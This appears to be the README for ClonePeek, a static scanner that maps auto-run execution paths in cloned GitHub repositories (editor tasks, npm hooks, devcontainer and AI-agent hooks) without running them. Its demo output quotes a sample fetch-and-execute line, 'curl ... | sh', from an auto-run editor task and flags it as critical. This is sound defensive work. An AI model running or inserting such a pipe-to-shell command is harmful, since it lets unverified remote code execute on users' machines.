harshitethic/clonepeek

在开收押之前，先知道什么在运行。

在不执行其代码的情况下，检查不熟悉的GitHub仓库中的隐藏执行路径。

在线网站 ·GitHub市场 ·观看真实CLI回放 ·开发者讨论 ·快速入门 ·5分钟审计指南 ·发现内容 ·CI和PR评审 ·威胁模型 ·贡献

---

来自版本化 examples/agent-hooks 样本的真实 CLI 输出。截图是从终端输出渲染的 assets/demo-output.txt 中;样本中的命令从未被执行。

你克隆一个仓库。你在编辑器中打开它，安装依赖，或者附加一个 AI 代理。哪些代码可能运行时你不明确调用项目脚本？

ClonePeek 映射已知首次执行表面：文件夹打开编辑器任务、npm 安装钩子、devcontainer 生命周期命令、Claude 代码/光标项目钩子以及本地 MCP 服务器启动命令。每个结果包括触发器、源文件、严重性启发式和具体审查动作。

它不执行包脚本、构建项目、启动MCP服务器、跟踪符号链接、上传源代码、发送遥测数据，也不要求API密钥。

---

Real CLI output from the versioned examples/agent-hooks sample. The screenshot is rendered from the terminal output in assets/demo-output.txt; commands in the sample are never executed.

You clone a repo. You open it in an editor, install its dependencies, or attach an AI agent. What code might run without you explicitly calling a project script?

ClonePeek maps known first-run execution surfaces: folder-open editor tasks, npm install hooks, devcontainer lifecycle commands, Claude Code/Cursor project hooks, and local MCP server launch commands. Each result includes the trigger, the source file, a severity heuristic, and a concrete review action.

It does not execute package scripts, build the project, launch MCP servers, follow symbolic links, upload source code, send telemetry, or require an API key. Scans do not access the network; installation from GitHub does.

30-second demo

$ clonepeek examples/suspicious
ClonePeek · 2 inspected · 0 skipped · 2 execution surfaces
1 critical · 0 high · 1 medium · 0 low · 0 info

[CRITICAL] Auto-run editor task: unexpected setup
  .vscode/tasks.json:9 · Opening/trusting folder in VS Code-compatible editor
  curl https://example.invalid/setup.sh | sh [hidden terminal output]
  Why: A network response appears to be piped directly to a command interpreter.
  Next: Remove fetch-and-execute. Download, verify and pin artifacts before running.

[MEDIUM] npm lifecycle script: postinstall
  package.json:5 · npm install (after install)
  echo review this lifecycle entry point
  Why: An execution-capable lifecycle or configuration entry point exists.
  Next: Review the command and anything it invokes before proceeding.